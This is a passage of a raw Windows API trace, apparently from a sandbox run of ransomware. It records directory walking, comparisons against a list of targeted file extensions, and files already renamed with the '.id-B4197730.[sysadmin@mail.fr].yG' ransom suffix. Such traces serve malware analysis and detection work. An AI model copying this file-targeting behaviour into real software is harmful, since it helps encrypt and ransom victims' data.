	[0134.156] lstrcmpiW (lpString1=".msg", lpString2="].yG") returned -1
	[0134.156] lstrlenW (lpString=".mxl") returned 4
	[0134.156] lstrcmpiW (lpString1=".mxl", lpString2="].yG") returned -1
	[0134.156] lstrlenW (lpString=".myd") returned 4
	[0134.156] lstrcmpiW (lpString1=".myd", lpString2="].yG") returned -1
	[0134.157] lstrlenW (lpString=".myi") returned 4
	[0134.157] lstrcmpiW (lpString1=".myi", lpString2="].yG") returned -1
	[0134.157] lstrlenW (lpString=".nef") returned 4
	[0134.157] lstrcmpiW (lpString1=".nef", lpString2="].yG") returned -1
	[0134.157] lstrlenW (lpString=".nrw") returned 4
	[0134.157] lstrcmpiW (lpString1=".nrw", lpString2="].yG") returned -1
	[0134.157] lstrlenW (lpString=".obj") returned 4
	[0134.157] lstrcmpiW (lpString1=".obj", lpString2="].yG") returned -1
	[0134.157] lstrlenW (lpString=".odb") returned 4
	[0134.157] lstrcmpiW (lpString1=".odb", lpString2="].yG") returned -1
	[0134.157] lstrlenW (lpString=".odc") returned 4
	[0134.157] lstrcmpiW (lpString1=".odc", lpString2="].yG") returned -1
	[0134.157] lstrlenW (lpString=".odm") returned 4
	[0134.157] lstrcmpiW (lpString1=".odm", lpString2="].yG") returned -1
	[0134.157] lstrlenW (lpString=".odp") returned 4
	[0134.157] lstrcmpiW (lpString1=".odp", lpString2="].yG") returned -1
	[0134.157] lstrlenW (lpString=".ods") returned 4
	[0134.157] lstrcmpiW (lpString1=".ods", lpString2="].yG") returned -1
	[0134.157] lstrlenW (lpString=".oft") returned 4
	[0134.157] lstrcmpiW (lpString1=".oft", lpString2="].yG") returned -1
	[0134.157] lstrlenW (lpString=".one") returned 4
	[0134.157] lstrcmpiW (lpString1=".one", lpString2="].yG") returned -1
	[0134.157] lstrlenW (lpString=".onepkg") returned 7
	[0134.157] lstrcmpiW (lpString1=".onepkg", lpString2=".fr].yG") returned 1
	[0134.157] lstrlenW (lpString=".onetoc2") returned 8
	[0134.158] lstrcmpiW (lpString1=".onetoc2", lpString2="l.fr].yG") returned -1
	[0134.158] lstrlenW (lpString=".opt") returned 4
	[0134.158] lstrcmpiW (lpString1=".opt", lpString2="].yG") returned -1
	[0134.158] lstrlenW (lpString=".oqy") returned 4
	[0134.158] lstrcmpiW (lpString1=".oqy", lpString2="].yG") returned -1
	[0134.158] lstrlenW (lpString=".orf") returned 4
	[0134.158] lstrcmpiW (lpString1=".orf", lpString2="].yG") returned -1
	[0134.158] lstrlenW (lpString=".p12") returned 4
	[0134.158] lstrcmpiW (lpString1=".p12", lpString2="].yG") returned -1
	[0134.158] lstrlenW (lpString=".p7b") returned 4
	[0134.158] lstrcmpiW (lpString1=".p7b", lpString2="].yG") returned -1
	[0134.158] lstrlenW (lpString=".p7c") returned 4
	[0134.158] lstrcmpiW (lpString1=".p7c", lpString2="].yG") returned -1
	[0134.158] lstrlenW (lpString=".pam") returned 4
	[0134.158] lstrcmpiW (lpString1=".pam", lpString2="].yG") returned -1
	[0134.158] lstrlenW (lpString=".pbm") returned 4
	[0134.158] lstrcmpiW (lpString1=".pbm", lpString2="].yG") returned -1
	[0134.158] lstrlenW (lpString=".pct") returned 4
	[0134.158] lstrcmpiW (lpString1=".pct", lpString2="].yG") returned -1
	[0134.158] lstrlenW (lpString=".pcx") returned 4
	[0134.158] lstrcmpiW (lpString1=".pcx", lpString2="].yG") returned -1
	[0134.158] lstrlenW (lpString=".pdd") returned 4
	[0134.158] lstrcmpiW (lpString1=".pdd", lpString2="].yG") returned -1
	[0134.158] lstrlenW (lpString=".pdf") returned 4
	[0134.158] lstrcmpiW (lpString1=".pdf", lpString2="].yG") returned -1
	[0134.158] lstrlenW (lpString=".pdp") returned 4
	[0134.158] lstrcmpiW (lpString1=".pdp", lpString2="].yG") returned -1
	[0134.158] lstrlenW (lpString=".pef") returned 4
	[0134.159] lstrcmpiW (lpString1=".pef", lpString2="].yG") returned -1
	[0134.159] lstrlenW (lpString=".pem") returned 4
	[0134.159] lstrcmpiW (lpString1=".pem", lpString2="].yG") returned -1
	[0134.159] lstrlenW (lpString=".pff") returned 4
	[0134.159] lstrcmpiW (lpString1=".pff", lpString2="].yG") returned -1
	[0134.159] lstrlenW (lpString=".pfm") returned 4
	[0134.159] lstrcmpiW (lpString1=".pfm", lpString2="].yG") returned -1
	[0134.159] lstrlenW (lpString=".pfx") returned 4
	[0134.159] lstrcmpiW (lpString1=".pfx", lpString2="].yG") returned -1
	[0134.159] lstrlenW (lpString=".pgm") returned 4
	[0134.159] lstrcmpiW (lpString1=".pgm", lpString2="].yG") returned -1
	[0134.159] lstrlenW (lpString=".php") returned 4
	[0134.159] lstrcmpiW (lpString1=".php", lpString2="].yG") returned -1
	[0134.159] lstrlenW (lpString=".php3") returned 5
	[0134.159] lstrcmpiW (lpString1=".php3", lpString2="r].yG") returned -1
	[0134.159] lstrlenW (lpString=".php4") returned 5
	[0134.159] lstrcmpiW (lpString1=".php4", lpString2="r].yG") returned -1
	[0134.159] lstrlenW (lpString=".php5") returned 5
	[0134.159] lstrcmpiW (lpString1=".php5", lpString2="r].yG") returned -1
	[0134.159] lstrlenW (lpString=".phtml") returned 6
	[0134.159] lstrcmpiW (lpString1=".phtml", lpString2="fr].yG") returned -1
	[0134.159] lstrlenW (lpString=".pict") returned 5
	[0134.159] lstrcmpiW (lpString1=".pict", lpString2="r].yG") returned -1
	[0134.159] lstrlenW (lpString=".pl") returned 3
	[0134.159] lstrcmpiW (lpString1=".pl", lpString2=".yG") returned -1
	[0134.159] lstrlenW (lpString=".pls") returned 4
	[0134.160] lstrcmpiW (lpString1=".pls", lpString2="].yG") returned -1
	[0134.160] lstrlenW (lpString=".pm") returned 3
	[0134.160] lstrcmpiW (lpString1=".pm", lpString2=".yG") returned -1
	[0134.160] lstrlenW (lpString=".png") returned 4
	[0134.160] lstrcmpiW (lpString1=".png", lpString2="].yG") returned -1
	[0134.160] lstrlenW (lpString=".pnm") returned 4
	[0134.160] lstrcmpiW (lpString1=".pnm", lpString2="].yG") returned -1
	[0134.160] lstrlenW (lpString=".pot") returned 4
	[0134.160] lstrcmpiW (lpString1=".pot", lpString2="].yG") returned -1
	[0134.160] lstrlenW (lpString=".potm") returned 5
	[0134.160] lstrcmpiW (lpString1=".potm", lpString2="r].yG") returned -1
	[0134.160] lstrlenW (lpString=".potx") returned 5
	[0134.160] lstrcmpiW (lpString1=".potx", lpString2="r].yG") returned -1
	[0134.160] lstrlenW (lpString=".ppa") returned 4
	[0134.160] lstrcmpiW (lpString1=".ppa", lpString2="].yG") returned -1
	[0134.160] lstrlenW (lpString=".ppam") returned 5
	[0134.160] lstrcmpiW (lpString1=".ppam", lpString2="r].yG") returned -1
	[0134.160] lstrlenW (lpString=".ppm") returned 4
	[0134.160] lstrcmpiW (lpString1=".ppm", lpString2="].yG") returned -1
	[0134.160] lstrlenW (lpString=".pps") returned 4
	[0134.160] lstrcmpiW (lpString1=".pps", lpString2="].yG") returned -1
	[0134.160] lstrlenW (lpString=".ppsm") returned 5
	[0134.160] lstrcmpiW (lpString1=".ppsm", lpString2="r].yG") returned -1
	[0134.160] lstrlenW (lpString=".ppt") returned 4
	[0134.160] lstrcmpiW (lpString1=".ppt", lpString2="].yG") returned -1
	[0134.160] lstrlenW (lpString=".pptm") returned 5
	[0134.160] lstrcmpiW (lpString1=".pptm", lpString2="r].yG") returned -1
	[0134.160] lstrlenW (lpString=".pptx") returned 5
	[0134.161] lstrcmpiW (lpString1=".pptx", lpString2="r].yG") returned -1
	[0134.161] lstrlenW (lpString=".prn") returned 4
	[0134.161] lstrcmpiW (lpString1=".prn", lpString2="].yG") returned -1
	[0134.161] lstrlenW (lpString=".ps") returned 3
	[0134.161] lstrcmpiW (lpString1=".ps", lpString2=".yG") returned -1
	[0134.161] lstrlenW (lpString=".psb") returned 4
	[0134.161] lstrcmpiW (lpString1=".psb", lpString2="].yG") returned -1
	[0134.161] lstrlenW (lpString=".psd") returned 4
	[0134.161] lstrcmpiW (lpString1=".psd", lpString2="].yG") returned -1
	[0134.161] lstrlenW (lpString=".pst") returned 4
	[0134.161] lstrcmpiW (lpString1=".pst", lpString2="].yG") returned -1
	[0134.161] lstrlenW (lpString=".ptx") returned 4
	[0134.161] lstrcmpiW (lpString1=".ptx", lpString2="].yG") returned -1
	[0134.161] lstrlenW (lpString=".pub") returned 4
	[0134.161] lstrcmpiW (lpString1=".pub", lpString2="].yG") returned -1
	[0134.161] lstrlenW (lpString=".pwm") returned 4
	[0134.161] lstrcmpiW (lpString1=".pwm", lpString2="].yG") returned -1
	[0134.161] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e232ed, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x97e232ed, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97e95943, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x1894, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="OOBE_2~1.YG")) returned 1
	[0134.161] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dd6e55, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x97dd6e55, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97f302be, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="PARTNE~1.YG")) returned 1
	[0134.161] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dd6e55, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x97dd6e55, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97f302be, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="PARTNE~1.YG")) returned 0
	[0134.162] FindClose (in: hFindFile=0x5dd440 | out: hFindFile=0x5dd440) returned 1
	[0134.162] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.162] FindNextFileW (in: hFindFile=0x5dd680, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x97db0c40, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97db0c40, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1
	[0134.163] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4530060
	[0134.163] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x97db0c40, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97db0c40, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd240
	[0134.164] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x97db0c40, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97db0c40, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.164] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x983b6839, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x983b6839, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x98402cea, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x233c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="GETCUR~2.YG")) returned 1
	[0134.165] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97db0c40, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x97db0c40, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97db0c40, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="GETCUR~1.YG")) returned 1
	[0134.165] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x983b6839, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x983b6839, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x984c1825, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="PARTNE~1.YG")) returned 1
	[0134.165] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98428f1b, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x98428f1b, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x984753fa, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="PREOOB~1.YG")) returned 1
	[0134.165] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9849b7fc, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9849b7fc, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x984c1825, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPC~1.YG")) returned 1
	[0134.165] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9849b7fc, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9849b7fc, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x984c1825, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPC~1.YG")) returned 0
	[0134.165] FindClose (in: hFindFile=0x5dd240 | out: hFindFile=0x5dd240) returned 1
	[0134.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.166] FindNextFileW (in: hFindFile=0x5dd680, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x97db0c40, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97db0c40, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0
	[0134.166] FindClose (in: hFindFile=0x5dd680 | out: hFindFile=0x5dd680) returned 1
	[0134.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0134.166] FindNextFileW (in: hFindFile=0x5dd3c0, lpFindFileData=0x41bfcf8 | out: lpFindFileData=0x41bfcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x775f0000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1
	[0134.167] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0134.167] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x5dd780
	[0134.167] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0134.167] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1
	[0134.167] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4530060
	[0134.167] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x16, ftLastAccessTime.dwLowDateTime=0x2, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="\xd7e0\x54\x08")) returned 0xffffffff
	[0134.167] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.167] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x2763d00c, ftLastAccessTime.dwHighDateTime=0x1d50842, ftLastWriteTime.dwLowDateTime=0x2763d00c, ftLastWriteTime.dwHighDateTime=0x1d50842, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0134.167] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4530060
	[0134.167] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x2763d00c, ftLastAccessTime.dwHighDateTime=0x1d50842, ftLastWriteTime.dwLowDateTime=0x2763d00c, ftLastWriteTime.dwHighDateTime=0x1d50842, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd5c0
	[0134.168] FindNextFileW (in: hFindFile=0x5dd5c0, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x2763d00c, ftLastAccessTime.dwHighDateTime=0x1d50842, ftLastWriteTime.dwLowDateTime=0x2763d00c, ftLastWriteTime.dwHighDateTime=0x1d50842, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.168] FindNextFileW (in: hFindFile=0x5dd5c0, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2763d00c, ftCreationTime.dwHighDateTime=0x1d50842, ftLastAccessTime.dwLowDateTime=0x2763d00c, ftLastAccessTime.dwHighDateTime=0x1d50842, ftLastWriteTime.dwLowDateTime=0x2763d00c, ftLastWriteTime.dwHighDateTime=0x1d50842, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0134.168] FindNextFileW (in: hFindFile=0x5dd5c0, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x980af3dc, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x980af3dc, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x980b2dee, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="DESKTO~1.YG")) returned 1
	[0134.168] FindNextFileW (in: hFindFile=0x5dd5c0, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x980af3dc, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x980af3dc, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x980b2dee, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="DESKTO~1.YG")) returned 0
	[0134.168] FindClose (in: hFindFile=0x5dd5c0 | out: hFindFile=0x5dd5c0) returned 1
	[0134.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0134.168] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x2763d00c, ftLastAccessTime.dwHighDateTime=0x1d50842, ftLastWriteTime.dwLowDateTime=0x2763d00c, ftLastWriteTime.dwHighDateTime=0x1d50842, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0134.168] FindClose (in: hFindFile=0x5dd780 | out: hFindFile=0x5dd780) returned 1
	[0134.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0134.168] FindNextFileW (in: hFindFile=0x5dd3c0, lpFindFileData=0x41bfcf8 | out: lpFindFileData=0x41bfcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x775f0000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1
	[0134.169] FindNextFileW (in: hFindFile=0x5dd3c0, lpFindFileData=0x41bfcf8 | out: lpFindFileData=0x41bfcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9b103a82, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9b103a82, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x775f0000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1
	[0134.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0134.169] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9b103a82, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9b103a82, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x5dd400
	[0134.169] FindNextFileW (in: hFindFile=0x5dd400, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9b103a82, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9b103a82, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
